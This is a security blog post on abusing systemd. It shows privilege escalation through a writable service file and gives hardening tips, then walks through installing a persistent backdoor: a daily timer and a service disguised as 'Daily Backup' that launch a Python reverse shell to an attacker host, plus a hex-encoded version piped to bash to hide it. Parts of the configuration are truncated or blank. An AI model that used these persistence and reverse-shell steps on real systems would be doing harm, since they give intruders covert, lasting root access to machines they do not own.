SystemD Use & Abuse

SystemD has been increasingly used since its release in 2010. I have been familiar and used to working with SystemD services, timers and many more, as for my constant ArchLinux use.

Since SystemD has been increasingly used, malicious actors have taken interest in knowing how to exploit common configuration flaws to elevate their privileges or gain persistent access to a system.

Systemd documentation can be found here.


When exploiting SystemD configurations it almost all comes down to the basics :

  • File permissions misconfiguration
  • File ownership misconfiguration

Most of the time, Systemd services, timers and such are executed as root since SystemD provides the whole initialization system, thus, misconfiguration can have drastic side effects.

For instance, let's consider that an administrator created a service to be executed frequently by a timer.

# /usr/lib/systemd/systemd/admin.service
Description=Admin Service

ExecStart=/bin/bash /root/

Then, let's say the admin thinks the script should be owned by him and his group but the file stays writable.

The service is still writable by anyone
Add an ExecStartPre parameter that executes whatever command you wish and wait for reboot 

Upon reboot, the `ExecStartPre` value is executed, here we obtain an SUID / SGID Bash binary.

Bash has been made SUID / SGID on boot

How to secure ?

  • Make sure the service as well as executed script is owned by root exclusively chown root:root {/path/to/some.service,/path/to/}
  • Make sure the service file as well as executed script is read-only and can only be modified by root chmod 644 {/path/to/some.service,/path/to/}
  • When possible, use User= and Group= to run the service as a low privilege user


Persistance can easily be achieved once you gained root privileges. Basically :

  • create a SystemD timer that will run a service
  • create a SystemD service that will run an inline reverse shell


Create a timer run once a day. The timer will execute the service which will itself run the reverse shell

Description=Run daily reverse shell

OnCalendar=Mon..Sat 19:30


Create a corresponding service

Timers and services must have the same name (excluding the file extension)

Description=Daily Backdoor

ExecStart=/bin/bash /path/to/shell

Let's consider the following Bash / Python inline reverse shell

export;export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

And the same shellcode hex encoded (useful to avoid inline quote pairing nightmare)


Create a shell script somewhere on the file system


echo -e '\x65\x78\x70\x6f\x72\x74\x20\x52\x48\x4f\x53\x54\x3d\x61\x74\x74\x61\x63\x6b\x65\x72\x2e...' | /bin/bash

Which will result in the following service

Description=Daily Backup

ExecStart=/bin/bash /usr/lib/backdoor

When the service is executed you'll get a callback on your listener